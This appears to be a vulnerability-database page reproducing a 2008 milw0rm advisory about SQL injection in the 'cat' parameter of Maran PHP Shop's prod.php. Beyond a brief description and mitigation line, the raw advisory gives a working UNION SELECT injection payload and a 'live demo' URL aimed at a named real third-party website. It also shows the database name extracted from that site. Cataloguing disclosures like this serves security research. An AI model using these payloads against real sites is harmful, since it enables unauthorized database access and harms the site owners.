header-logo
Suggest Exploit
vendor:
Maran PHP Shop
by:
JosS
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Maran PHP Shop
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

Maran PHP Shop (prod.php cat) SQL Injection Vulnerability

A SQL injection vulnerability exists in Maran PHP Shop, which is caused by improper validation of user-supplied input in the 'cat' parameter of the 'prod.php' script. An attacker can exploit this vulnerability to inject arbitrary SQL commands and gain access to the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks.
Source

Exploit-DB raw data:

# Maran PHP Shop (prod.php cat) SQL Injection Vulnerability
# url: http://www.maran.pamil-visions.com/maranshop.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

PoC: /prod.php?cat=7['SQL]
ExP: /prod.php?cat=7+and+1=2++union+all+select+database()--

live demo:
http://www.heimanis.lv/prod.php?cat=7+and+1=2++union+all+select+database()--

output:~$ latvello_heimanis

Hack0wn :D

# milw0rm.com [2008-11-02]